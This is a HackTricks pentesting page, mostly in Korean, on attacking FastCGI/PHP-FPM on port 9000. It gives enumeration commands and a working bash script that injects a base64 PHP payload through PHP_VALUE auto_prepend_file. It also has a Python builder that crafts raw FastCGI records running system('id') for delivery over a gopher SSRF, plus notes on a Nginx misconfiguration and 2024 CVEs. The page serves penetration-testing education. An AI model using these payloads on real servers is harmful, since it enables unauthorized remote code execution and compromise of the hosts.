9000 Pentesting FastCGI

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

FastCGI가 무엇인지 알아보고 싶다면 다음 페이지를 확인하세요:

disable_functions bypass - php-fpm/FastCGI

기본적으로 FastCGIport 9000에서 실행되며 nmap에서 인식되지 않습니다. 보통 FastCGI는 localhost에서만 수신합니다.

열거 / 빠른 확인

  • Port scan: nmap -sV -p9000 <target> (종종 “unknown” 서비스로 표시됩니다; 수동으로 테스트하세요).
  • Probe FPM status page: SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000 (기본 php-fpm pm.status_path).
  • Find reachable sockets via SSRF: HTTP 서비스가 SSRF에 취약하다면 gopher://127.0.0.1:9000/_... 페이로드를 시도하여 FastCGI 리스너에 연결해 보세요.
  • Nginx misconfigs: cgi.fix_pathinfo=1fastcgi_split_path_info 에러가 있으면 정적 파일에 /.php를 덧붙여 PHP에 도달할 수 있습니다 (트래버설을 통한 코드 실행).

RCE

FastCGI가 임의의 코드를 실행하도록 만드는 것은 꽤 쉽습니다:

PHP payload를 앞에 붙이는 FastCGI 요청 전송 ```bash #!/bin/bash

PAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path

HOST=$1 B64=$(echo “$PAYLOAD”|base64)

for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT done

</details>

또는 다음 python 스크립트를 사용할 수도 있습니다: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)

### SSRF/gopher to FastCGI (9000 포트에 직접 접근할 수 없을 때)

만약 **SSRF** primitive만 제어할 수 있다면, gopher 스킴을 사용해 FastCGI에 도달하고 전체 FastCGI 요청을 구성할 수 있습니다. 예시 payload builder:

<details>
<summary>gopher FastCGI RCE payload 생성 및 전송</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"

def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content

def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload  = rec(4, enc_params(params)) + rec(4, b"")  # FCGI_PARAMS + terminator
payload += rec(5, body)                                # FCGI_STDIN

s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))

Convert payload to URL-safe base64/percent-encoding and send via gopher://host:9000/_<payload> in your SSRF.

최근 이슈 관련 노트

  • libfcgi <= 2.4.4 integer overflow (2024): crafted nameLen/valueLen in FastCGI records can overflow on 32‑bit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF).
  • PHP-FPM log manipulation (CVE-2024-9026): when catch_workers_output = yes, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs.
  • Classic Nginx + cgi.fix_pathinfo misconfig: still widely seen; if fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; is used without file existence checks, any path ending in .php gets executed, enabling path traversal or source overwrite style gadgets.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기